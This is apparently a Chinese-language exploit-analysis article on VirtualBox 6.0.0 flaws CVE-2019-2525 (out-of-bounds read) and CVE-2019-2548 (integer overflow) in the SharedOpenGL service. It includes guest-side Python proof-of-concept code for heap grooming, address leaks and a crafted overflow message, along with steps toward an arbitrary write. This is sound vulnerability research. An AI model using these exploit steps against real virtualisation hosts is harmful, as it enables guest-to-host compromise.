VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析

VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析 本文分为两部分内容: 详细介绍漏洞成因、利用思路和实现. 介绍如何定位和解决堆风水过程中遇到的问题. 相关代码: https://github....

VirtualBox CVE-2019-2525 和 CVE-2019-2548 漏洞利用分析

本文分为两部分内容:

  1. 详细介绍漏洞成因、利用思路和实现.
  2. 介绍如何定位和解决堆风水过程中遇到的问题.

相关代码:

https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day

环境搭建

环境信息:

host: ubuntu 18.04.0 glibc 2.27 (VirtualBox-6.0.0 要求的 4.x 内核版本)
guest: ubuntu 18.04.1
VirtualBox: 6.0.0

下载源码

https://download.virtualbox.org/virtualbox/6.0.0/VirtualBox-6.0.0.tar.bz2

安装依赖

sudo apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 libpulse-dev libxml2-dev libxslt1-dev python-dev libqt4-dev qt4-dev-tools libcap-dev libxmu-dev mesa-common-dev libglu1-mesa-dev linux-kernel-headers libcurl4-openssl-dev libpam0g-dev                 libxrandr-dev libxinerama-dev libqt4-opengl-dev makeself libdevmapper-dev default-jdk texlive-latex-base texlive-latex-extra texlive-latex-recommended                 texlive-fonts-extra texlive-fonts-recommended build-essential libc6-dev-i386 libvpx-dev libopus-dev qttools5-dev-tools libssl-dev libqt5*

# 这条命令不确定是否需要,和 virutalbox 的内核模块有关
sudo apt install --reinstall virtualbox-dkms

编译

./configure --disable-hardening

然后根据 configure 的提示把用户态程序和内核模块编译,最后安装好内核模块即可.

启动命令

root@ubuntu:/home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin# ./VirtualBox

启动虚拟机后 VirtualBoxVM 进程就是负责和虚拟机交互的进程,使用 gdb attach 上去就可调试本文涉及的漏洞.

poc@ubuntu:~$ ps -ef | grep VirtualBox
root      57078 123050 39 00:52 ?        00:01:12 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VirtualBoxVM --comment escape --startvm caf1fb59-407a-447e-858a-6f9773fea30f --no-startvm-errormsgbox
root     111205   1585  0 Mar25 ?        00:41:48 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxXPCOMIPCD
root     123041  66228  0 Mar25 pts/0    00:39:58 ./VirtualBox
root     123050   1585  1 Mar25 ?        01:26:20 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxSVC --auto-shutdown

Part1 漏洞利用分析

本节内容组织如下:

  1. 首先分析 SharedOpenGL 模块中与漏洞利用相关的源码.
  2. 然后分别分析两个漏洞的成因和利用方式.

SharedOpenGL 模块分析

漏洞均位于 VirtualBox 的 SharedOpenGL 模块,虚拟机需要启用 3D 加速 VirtualBox 才会加载该模块(VBoxSharedCrOpenGL.so).

image.png

配置正确后,gdb 调试虚拟机进程( gdb attach $(pidof VirtualBoxVM)​ )就可以找到 SharedOpenGL 模块对应线程(ShCrOpenGL)
image.png

SharedOpenGL 模块注册了 HGCM 服务 (服务名 VBoxSharedCrOpenGL​ ),Guest OS 可以通过 HGCM 协议调用 VBoxSharedCrOpenGL​ 服务.

// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad (VBOXHGCMSVCFNTABLE *ptable)
{
    int rc = VINF_SUCCESS;
    Log(("SHARED_CROPENGL VBoxHGCMSvcLoad: ptable = %p\n", ptable));
    g_pHelpers = ptable->pHelpers;
    g_u32fCrHgcmDisabled = 0;
    ptable->cbClient = sizeof (void*);
    ptable->pfnUnload     = svcUnload;
    ptable->pfnConnect    = svcConnect;  // 连接服务回调
    ptable->pfnDisconnect = svcDisconnect; // 断开服务回调
    ptable->pfnCall       = svcCall; // guest call 回调
    ptable->pfnHostCall   = svcHostCall;
    ptable->pfnSaveState  = svcSaveState;
    ptable->pfnLoadState  = svcLoadState;
    ptable->pfnNotify     = NULL;
    ptable->pvService     = NULL;

    if (!crVBoxServerInit())
        return VERR_NOT_SUPPORTED;

    crServerVBoxSetNotifyEventCB(svcNotifyEventCB);
    return rc;
}

Guest OS 与 SharedOpenGL 模块的交互示意图如下:
image.png

Guest OS 通过 PIO/MMIO 和 VirtualBox 通信,当 Guest OS 要调用 VBoxSharedCrOpenGL​ 服务的流程如下:

  1. 通过 hgcm_connect​ 和 VBoxSharedCrOpenGL​ 服务建立连接,获取 client 句柄
  2. 然后调用 hgcm_call​ 请求 VBoxSharedCrOpenGL​ 服务
  3. 服务结束后调用 hgcm_disconnect​ 释放连接.

整个过程涉及 VirtualBox 中三个线程的交互: EMT-1 Thread (模拟PIO交互)、MainHGCMthread (HGCM 服务管理线程)、ShCrOpenGL(VBoxSharedCrOpenGL​ 服务线程).

Guest OS 调用 hgcm_connect​ 和 hgcm_disconnect​ 与 VBoxSharedCrOpenGL​ 服务交互时的流程如下:

  1. 首先 Guest OS 会通过 PIO/MMIO​ 触发 EMT-1 线程的回调,然后会进入 HGCMGuestConnect/HGCMGuestDisconnect​.
  2. EMT-1​ 线程组装 HGCM_MSG_CONNECT/HGCM_MSG_DISCONNECT​ 消息,然后把消息放到 MainHGCMthread 线程的消息队列
  3. MainHGCMthread 线程从消息队列中取出消息,然后找到对应服务,组装 SVC_MSG_CONNECT/SVC_MSG_DISCONNECT​ 消息
  4. 最后把消息放到 ShCrOpenGL​ 线程的消息队列.
  5. ShCrOpenGL​ 线程从消息队列中取出消息进行处理.
  6. ShCrOpenGL​ 线程调用服务的 pSvc->m_fntable.pfnConnect/pSvc->m_fntable.pfnDisconnect 回调函数.

Guest OS 调用 hgcm_call​ 与 VBoxSharedCrOpenGL​ 服务交互时的流程如下:

  1. 首先 Guest OS 会通过 PIO/MMIO​ 触发 EMT-1 线程的回调并传入服务句柄(hgcm_connect,然后会进入 HGCMGuestCall​ .
  2. EMT-1​ 线程组装 SVC_MSG_GUESTCALL​ 消息,然后根据服务句柄找到服务对象,并将消息放入 ShCrOpenGL​ 线程的消息队列.
  3. ShCrOpenGL​ 线程从消息队列中取出消息进行处理.
  4. ShCrOpenGL​ 线程调用服务的 pSvc->m_fntable.pfnCall 回调函数

下面结合源码对上述流程进行分析。

服务交互源码分析

连接服务

Guest 对 VBoxSharedCrOpenGL​ 服务发起 connect 请求时,ShCrOpenGL 线程会调用 svcConnect.

// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring)
{
    int rc = crVBoxServerAddClient(u32ClientID);
    return rc;
}

调用 crVBoxServerAddClient 分配 client 并将其和 u32ClientID 关联.

CRConnection *
crNetAcceptClient( const char *protocol, const char *hostname,
                                     unsigned short port, unsigned int mtu, int broker )
{
    CRConnection *conn;
    conn = (CRConnection *) crCalloc( sizeof( *conn ) );
    // 初始化 conn 结构体
}

int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
    CRClient *newClient;
    newClient = (CRClient *) crCalloc(sizeof(CRClient));
    newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
                                        cr_server.tcpip_port,
                                        cr_server.mtu, 0);
    newClient->conn->u32ClientID = u32ClientID;
    cr_server.clients[cr_server.numClients++] = newClient;
    crServerAddToRunQueue(newClient);
    return VINF_SUCCESS;
}

主要就是调用 crCalloc 分配了 CRClient 和 CRConnection 两个结构体,crCalloc 实际就是调用 libc 的 malloc + memset.
Guest 调用 hgcm_connect 可以连接服务并获取到 client id.

client = hgcm_connect("VBoxSharedCrOpenGL")

断开服务

Guest 调用 hgcm_disconnect 关闭服务连接

hgcm_disconnect(client)

之后 ShCrOpenGL 线程会调用 svcDisconnect.

// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(int) svcDisconnect (void *, uint32_t u32ClientID, void *pvClient)
{
    int rc = VINF_SUCCESS;
    crVBoxServerRemoveClient(u32ClientID);
    return rc;
}

crVBoxServerRemoveClient 最终会调用 crServerDeleteClient​ 释放 CRClient​ 和 CRConnection​ .

使用服务

Guest 调用 hgcm_call 调用具体的服务,下面以 SHCRGL_GUEST_FN_WRITE_BUFFER 为例,介绍处理流程:

def alloc_buf(client, sz, msg='a'):
    buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
    return buf

hgcm_call 的参数说明如下:

  • 参数1: client id,通过 hgcm_connect 获取.
  • 参数2:请求的服务 ID
  • 参数3:数组,数组成员有两种类型(数值和 str),传递给 HGCM 服务的参数,其中 数值型参数直接传递,str 类型参数会触发 VirtualBox 侧的内存分配,然后拷贝内容到新申请的内存.

假设 Guest 调用 alloc_buf 尝试在 VirtualBox 进程中申请一块内存:

alloc_buf(client, 0x100, 'bbbbbbbb')

经过消息的传递,ShCrOpenGL 线程会调用 svcCall 处理服务请求.

// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient,
                                   uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)
{

    switch (u32Function)
    {
        case SHCRGL_GUEST_FN_WRITE_BUFFER:
        {
            /* Fetch parameters. */
            uint32_t iBuffer      = paParms[0].u.uint32;
            uint32_t cbBufferSize = paParms[1].u.uint32;
            uint32_t ui32Offset   = paParms[2].u.uint32;
            uint8_t *pBuffer      = (uint8_t *)paParms[3].u.pointer.addr;
            uint32_t cbBuffer     = paParms[3].u.pointer.size;

            /* Execute the function. */
            CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);
            memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer);
            paParms[0].u.uint32 = pSvcBuffer->uiId;
            break;
        }
}

首先从 paParms 里面取出参数:

  • iBuffer = 0
  • cbBufferSize = 0x100
  • ui32Offset = 0
  • pBuffer = "bbbbbbbb" cbBuffer = 8

然后 svcGetBuffer 申请内存并通过 memcpy 拷贝数据,最后设置返回值为 buffer 的 id.

paParms 在 vmmdevHGCMCall 函数中分配并初始化,调用栈如下:

(gdb) bt
#0 iface_hgcmCall
#1 vmmdevHGCMCall  // 分配 paParms
#2 vmmdevReqHandler_HGCMCall
#3 vmmdevReqDispatcher
#4 vmmdevRequestHandler
#5 IOMIOPortWrite
#6 IOMR3ProcessForceFlag 
#7 emR3HighPriorityPostForcedActions
#8 emR3HmExecute
#9 EMR3ExecuteVM
#10 in vmR3EmulationThreadWithId

vmmdevHGCMCall 初始化请求参数的主要逻辑如下:

  • vmmdevHGCMCallAlloc 分配 pCmd 里面保存请求相关信息,包括请求参数。
  • vmmdevHGCMCallFetchGuestParms 往 pCmd->u.call.paGuestParms 数组填参数值.
  • vmmdevHGCMInitHostParameters 把 paGuestParms 的参数复制到 pCmd->u.call.paHostParms,对于缓冲区类型的参数,会申请内存(RTMemAllocZ(cbData)​)+拷贝数据.
  • 调用回调函数 (svcCall​)时传入参数 pCmd->u.call.paHostParms

漏洞相关源码分析

Guest 可以通过 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 命令让 VirtualBox 解析 Guest 提供的 TLV 数据,本文的漏洞都是在解析这些 TLV 数据时,没有小心使用数据导致的漏洞.

VirtualBox 处理 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 请求时,首先根据 iBuffer 找到 buffer,然后 crVBoxServerClientWrite --> crUnpack​ 会解析 pSvcBuffer 中的数据

crVBoxServerClientWrite
  crVBoxServerInternalClientWriteRead
    crServerServiceClients
      crServerDispatchMessage
        crUnpack

crUnpack 通过 unpack.py 生成,生成后的代码位于 out/linux.amd64/release/obj/VBoxOGLgen/unpack.c​ ,主体逻辑如下:

void crUnpack( const void *data, const void *data_end, const void *opcodes, 
        unsigned int num_opcodes, SPUDispatchTable *table )
{
    unpack_opcodes = (const unsigned char *)opcodes;
    cr_unpackData = (const unsigned char *)data;
    cr_unpackDataEnd = (const unsigned char *)data_end;

    for (i = 0; i < num_opcodes; i++)
    {

        switch( *unpack_opcodes )
        {
            case CR_ALPHAFUNC_OPCODE:
                crUnpackAlphaFunc(); 
                break;
            case CR_ARRAYELEMENT_OPCODE:
                crUnpackArrayElement(); 
                break;
            case CR_BEGIN_OPCODE:
                crUnpackBegin(); 
                break;

调用栈如下

Thread 17 "ShCrOpenGL" hit Breakpoint 1, crUnpack at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:1692
1692    {
(gdb) bt
#0 crUnpack
#1 crServerDispatchMessage
#2 crServerServiceClient
#3 crServerServiceClients
#4 crVBoxServerInternalClientWriteRead
#5 crVBoxServerClientWrite
#6 svcCall
#7 hgcmServiceThread
#8 hgcmWorkerThreadFunc

crUnpack 函数先设置 cr_unpackData 和 cr_unpackDataEnd 全局变量使其指向 Guest 提供的数据,然后进入一个 switch 语句对不同类型的 opcode 进行处理,后续的数据处理就会从 cr_unpackData 中获取数据并解析.

CVE-2019-2525 越界读漏洞

漏洞成因

crUnpackExtendGetAttribLocation 解析数据时从数据包中取出 packet_length ,没有校验后面就拿来当作数组偏移去拷贝数据.

void crUnpackExtendGetAttribLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetAttribLocation(program, name);
}

READ_DATA 就是从 cr_unpackData 里面取数据,其数据来自与 Guest 的 HGCM 请求,宏定义如下

#define READ_DATA( offset, type ) \
    *( (const type *) (cr_unpackData + (offset)))

漏洞在于 packet_length 没有校验,导致后面 SET_RETURN_PTR 和 SET_WRITEBACK_PTR 会越界拷贝数据到 return_ptr 和 writeback_ptr 指针中.

#define SET_RETURN_PTR( offset ) do { \
        CRDBGPTR_CHECKZ(return_ptr); \
        crMemcpy( return_ptr, cr_unpackData + (offset), sizeof( *return_ptr ) ); \
    } while (0);

#define SET_WRITEBACK_PTR( offset ) do { \
        CRDBGPTR_CHECKZ(writeback_ptr); \
        crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) ); \
    } while (0);

return_ptr 和 writeback_ptr 的数据会在 crServerDispatchGetAttribLocation 返回给 Guest。

调用 crServerDispatchGetAttribLocation 时的调用栈如下:

(gdb) bt
#2  0x00007f565782667f in crServerDispatchGetAttribLocation (program=<optimized out>, name=0x7f564833579c "") at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_glsl.c:127
#3  0x00007f56578b1fec in crUnpackExtend () at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:6034
#4  0x00007f56578b29ed in crUnpack (data=data@entry=0x7f5648335790, data_end=data_end@entry=0x7f5648336780, opcodes=opcodes@entry=0x7f564833578f, num_opcodes=<optimized out>, table=table@entry=0x7f5657b039d0 <cr_server+13008>) at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:4109
#5  0x00007f5657829f09 in crServerDispatchMessage (cbMsg=4096, msg=0x7f5648335780, conn=0x7f56482eee80) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:681
#6  0x00007f5657829f09 in crServerServiceClient (qEntry=0x7f568c016170, qEntry=0x7f568c016170) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:817
#7  0x00007f5657829f09 in crServerServiceClients () at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:872
#8  0x00007f565781199d in crVBoxServerInternalClientWriteRead (pClient=0x7f56482f5510) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:758
#9  0x00007f56578159b3 in crVBoxServerClientWrite (u32ClientID=u32ClientID@entry=13, pBuffer=0x7f5648335780 "\001LGwAAAA\001", cbBuffer=4096) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792
#10 0x00007f5657804cec in svcCall(void*, VBOXHGCMCALLHANDLE, uint32_t, void*, uint32_t, uint32_t, VBOXHGCMSVCPARM*, uint64_t) (callHandle=0x7f56652cb730, u32ClientID=13, pvClient=<optimized out>, u32Function=<optimized out>, cParms=<optimized out>, paParms=0x7f5604a1ad60, tsArrival=500380665376343) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740
#11 0x00007f569a670e6f in hgcmServiceThread(HGCMThread*, void*) (pThread=0x7f5658003ae0, pvUser=0x7f5658003980) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:706
#12 0x00007f569a66ed5f in hgcmWorkerThreadFunc(RTTHREAD, void*) (hThreadSelf=<optimized out>, pvUser=0x7f5658003ae0) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#13 0x00007f56baff259c in rtThreadMain(PRTTHREADINT, RTNATIVETHREAD, char const*) (pThread=pThread@entry=0x7f5658003d10, NativeThread=NativeThread@entry=140008815646464, pszThreadName=pszThreadName@entry=0x7f56580045f0 "ShCrOpenGL") at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
#14 0x00007f56bb0a562a in rtThreadNativeMain(void*) (pvArgs=0x7f5658003d10) at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#15 0x00007f56b7a476db in start_thread (arg=0x7f5657b8d700) at pthread_create.c:463
#16 0x00007f56b867161f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

漏洞利用

packet_length 是 int 类型,因此我们可以向前或者向后越界,越界的范围为 int 的取值范围,被越界的缓冲区为 pSvcBuffer->pData .

 CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
 uint8_t *pBuffer     = (uint8_t *)pSvcBuffer->pData;
 uint32_t cbBuffer    = pSvcBuffer->uiSize;

pSvcBuffer->pData 为 Guest 通过 SHCRGL_GUEST_FN_WRITE_BUFFER 命令分配大小可控.

下面介绍如何利用越界读泄露 VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址.

在 Guest 连接 VBoxSharedCrOpenGL​ 服务时会分配 CRClient 和 CRConnection 结构体,这两个结构体中分别存放了VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址,因此通过布局让这两个结构体位于 pSvcBuffer->Data 的前后,然后触发越界读即可泄露出需要的地址。

crVBoxServerAddClient 在新建 client 结构体后会将 cr_server 的地址放到 newClient->currentCtxInfo , cr_server 位于 VBoxSharedCrOpenGL.so 中.

int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
    CRClient *newClient;

    newClient = (CRClient *) crCalloc(sizeof(CRClient));
    newClient->spu_id = 0;
    newClient->currentCtxInfo = &cr_server.MainContextInfo;

由于越界读漏洞的触发不会对系统稳定性造成影响,理论上可以无限次尝试,所以 poc 代码中泄露地址这块写的比较简单.

    leak_success = False;
    while not leak_success:
        for i in range(0, 10):
            print("Connect VBoxSharedCrOpenGL.")
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)

        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)

        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            print("leak: {}".format(hex(leak)))
            if (leak%0x1000 == 0x170):
                leak_success = True
                break

大概思路:

  1. 通过多次 hgcm_connect + hgcm_disconnect 在堆上分配多个 CRClient 对象

    • 由于所有 client->pid 为 0,所以在 crVBoxServerRemoveClient 中释放 CRClient 时会把 CRClient 放到一个链表中
    • 等所有 client 退出后才会调用 free 释放 CRClient 内存.
    • POC 中一开始初始化了一个全局 client,所以这步操作后堆上会有多个待释放的 CRClient.
  2. 然后触发漏洞在 CRClient 的后面分配 pSvcBuffer->pData,然后向前越界读获取 CRCClient 对象的​ cr_server 指针

    • crmsg 有三个参数:client、 msg、 bufsz,第三个参数默认为 0x1000

      • 首先会通过 SHCRGL_GUEST_FN_WRITE_BUFFER 分配大小为 bufsz​ 的 pSvcBuffer->pData,然后把 msg 的数据拷贝进去
      • 然后通过 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 进入 crUnpackExtendGetAttribLocation 触发漏洞.
    • 因此这一步分配的 pSvcBuffer->pData 的大小为 0x1000.

  3. 如果获取失败,说明堆布局有问题,回到第一步继续尝试.

image.png

泄露 CRConnection 结构体会稍微复杂一些,相关代码如下:

    leak_clients = []
    leak_success = False;
    while not leak_success:
        msg = nop_msg()
        buf_ids = []
        for i in range(60):
            buf_ids.append(alloc_buf(client, 0x298, msg))

        for i in range(0, 15):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            leak_clients.append(leak_client)

        msg = make_leak_msg(0x100000000-0x9f0 + 0x10)
        result = crmsg(client, msg, 0x298)

        for idx in buf_ids:
            hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x298, 0])

        for leak_client in leak_clients:
            try:
                hgcm_disconnect(leak_client)
            except:
                pass

        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x9d0):
                leak_success = True
                break

大概思路:

  1. CRConnection 结构体的大小为 0x298 字节,首先通过 alloc_buf 申请 60 个 0x298 的 pSvcBuffer->pData,消耗 arena 中不连续的 0x298 chunk.
  2. 通过 hgcm_connect 分配 15 个 CRConnection 结构体,期望此时各个 CRConnection 结构体虚拟地址连续
  3. 同 crmsg 触发漏洞,触发漏洞的 pSvcBuffer->pData 的大小也为 0x298,期望 pData 和 CRConnection 挨着,然后往前越界读获取 VBoxOGLhostcrutil.so 的地址.
  4. 如果泄露失败,回到第 1 步重试.

image.png

通过 之前的介绍[^1] 可知,Guest OS 和 VBoxSharedCrOpenGL​​​ 服务通信会涉及三个线程的通信,这其中又会涉及不同线程的多次内存申请和释放,这些其他线程内存申请和释放会对堆布局产生影响吗?答案是可能会,但是对于 VirtualBox 来说*****基本没影响。

VirtualBox 实际会调用 glibc 的 malloc、free 等函数进行内存的申请和释放,glibc 使用 arena (struct malloc_state​)来管理内存,我们比较熟悉的可能是 main_arena,在多线程进程中 glibc 会再根据 CPU 核数分配若干个 dynamic arena,这些 arena 通过双向链表相互关联,如下图所示:

image.png

每个线程会在其 TLS 里面存放 thread arena 的指针,然后内存的申请/释放都会对 thread arena 进行操作(bin 的管理),如果在 thread arena 中申请内存失败,会根据双向链表,找下一个 arena,然后再次尝试申请内存.

因此当 dynamic arena 数量少于线程数量或者在当前 thread arena 中内存申请失败时 就有可能涉及多个线程共用一个 arena,这种情况下就有可能导致堆布局不稳定.

经过一些测试,ShCrOpenGL 线程的 arena 被其他线程使用的频率很低,堆布局是比较稳定的,因为触发漏洞的内存(pSvcBuffer->pData)是在 ShCrOpenGL 线程中申请,因此选用的 victim 对象、布局对象也应该在 ShCrOpenGL 线程中申请(使用同一个 arena),CRClient 和 CRConnection 结构体满足这个条件.

CVE-2019-2548 整数溢出漏洞

漏洞成因

漏洞位于 crServerDispatchReadPixels 函数:

void crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height,
                           GLenum format, GLenum type, GLvoid *pixels)
{
    const GLint stride = READ_DATA( 24, GLint );
    const GLint alignment = READ_DATA( 28, GLint );
    const GLint skipRows = READ_DATA( 32, GLint );
    const GLint skipPixels = READ_DATA( 36, GLint );
    const GLint bytes_per_row = READ_DATA( 40, GLint );
    const GLint rowLength = READ_DATA( 44, GLint );

    CRMessageReadPixels *rp;
    uint32_t msg_len;

    if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
    {
        return;
    }

    msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;

    rp = (CRMessageReadPixels *) crAlloc( msg_len );
    cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
                                                    format, type, rp + 1);

    rp->header.type = CR_MESSAGE_READ_PIXELS;
    rp->width = width;
    rp->height = height;
    rp->bytes_per_row = bytes_per_row;
    rp->stride = stride;
    rp->format = format;
    rp->type = type;
    rp->alignment = alignment;
    rp->skipRows = skipRows;
    rp->skipPixels = skipPixels;
    rp->rowLength = rowLength;

    /* <pixels> points to the 8-byte network pointer */
    crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) );

    crNetSend( cr_server.curClient->conn, NULL, rp, msg_len );
    crFree( rp );

函数会使用 bytes_per_row 和 height 计算 msg_len

msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;

CRMessageReadPixels 结构体大小为 0x38 字节,bytes_per_row 和 height 的最大取值均为 0x1fffffff,当 bytes_per_row = 0x1ffffffd, height = 8 时,msg_len 为 0x20

然后后面 crMemcpy 时就会往 rp + 0x30 的位置写入 8 字节,而 rp 的实际内存大小只有 0x20 字节.

对应 poc 如下

def make_readpixels_msg(uiId, uiSize):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

主要就是控制 bytes_per_row = 0x1ffffffd, height = 8​ ,且 pixels 为 uiId, uiSize​.

分配 rp 时的寄存器状态(size 为 0x20)

(gdb) 
59              rp = (CRMessageReadPixels *) crAlloc( msg_len );
rax            0x20                32
rbx            0x1ffffffd          536870909
rcx            0x7fd2b212b320      140542907429664
rdx            0x0                 0
rsi            0x88eb              35051
rdi            0x20                32
rbp            0x7fd26a05fb80      0x7fd26a05fb80
rsp            0x7fd26a05fb20      0x7fd26a05fb20
r8             0x35                53
r9             0x0                 0
r10            0x1                 1
r11            0x7fd24c213f40      140541197107008
r12            0x8                 8
r13            0x0                 0
r14            0x35                53
r15            0x7fd24c2f4160      140541198025056
rip            0x7fd269cfd381      0x7fd269cfd381 <crServerDispatchReadPixels+257>
eflags         0x213               [ CF AF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
=> 0x7fd269cfd381 <crServerDispatchReadPixels+257>:     call   0x7fd269cd48b0 <crAlloc@plt>
   0x7fd269cfd386 <crServerDispatchReadPixels+262>:     test   rax,rax
   0x7fd269cfd389 <crServerDispatchReadPixels+265>:     je     0x7fd269cfd474 <crServerDispatchReadPixels+500>
   0x7fd269cfd38f <crServerDispatchReadPixels+271>:     lea    rsi,[rip+0x2d636a]        # 0x7fd269fd3700 <cr_server>
(gdb) 

漏洞利用

前面提到[^2] Guest 可以通过 SHCRGL_GUEST_FN_WRITE_BUFFER​ 命令分配 pSvcBuffer 并往里面写数据,其分配相关代码如下:

    pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
    pBuffer->pData = RTMemAlloc(cbBufferSize);

    pBuffer->uiId = ++g_CRVBoxSVCBufferID;
    pBuffer->uiSize = cbBufferSize;
    pBuffer->pPrev = NULL;
    pBuffer->pNext = g_pCRVBoxSVCBuffers;
    g_pCRVBoxSVCBuffers = pBuffer;
    return pBuffer;

首先分配一个 CRVBOXSVCBUFFER_t​ 结构体,然后分配 pBuffer->pData​,pData 的 size 由 Guest 指定, CRVBOXSVCBUFFER_t​ 的结构体布局如下:

(gdb) ptype /o CRVBOXSVCBUFFER_t
type = struct _CRVBOXSVCBUFFER_t {
/*      0      |       4 */    uint32_t uiId;
/*      4      |       4 */    uint32_t uiSize;
/*      8      |       8 */    void *pData;
/*     16      |       8 */    _CRVBOXSVCBUFFER_t *pNext;
/*     24      |       8 */    _CRVBOXSVCBUFFER_t *pPrev;

                               /* total size (bytes):   32 */
                             }

结构体中字段的作用:

  • uiId:buffer 的标识符, VirtualBox 根据 uiId 找到需要操作的 buffer.
  • uiSize: pData 的内存大小,主要用于限制 Guest 对 pData 的写入数据大小.
  • pData: 存放 Guest 写入的数据.

通过溢出修改 CRVBOXSVCBUFFER_t​ 的 uiSize 为 0xffffffff​,后面通过 SHCRGL_GUEST_FN_WRITE_BUFFER​ 往 pData 中写数据时就能将受限溢出转换为 任意字节溢出(最大值为 0xffffffff​ ),最后可以实现任意地址写,示意图如下(忽略了 glibc 的 chunk header):

image.png

具体流程:

  1. 首先通过堆风水让布局为 初始布局 ,即 空闲块 | buffer #1 | buffer #1 的 data | buffer #2​ 相邻摆放.
  2. 进入 crServerDispatchReadPixels,分配溢出对象 (CRMessageReadPixels),然后溢出修改 buffer #1​ 的 uiId=0xdeadbeef uiSize = 0xffffffff.
  3. 通过 SHCRGL_GUEST_FN_WRITE_BUFFER​ ,传入 iBuffer​ 为 0xdeadbeef​,找到被修改的 buffer #1​ ,然后往里面写入超过 0x20 的数据,修改 ​​**buffer #2​ 的 ​uiId, uiSize, pData​ 字段**.
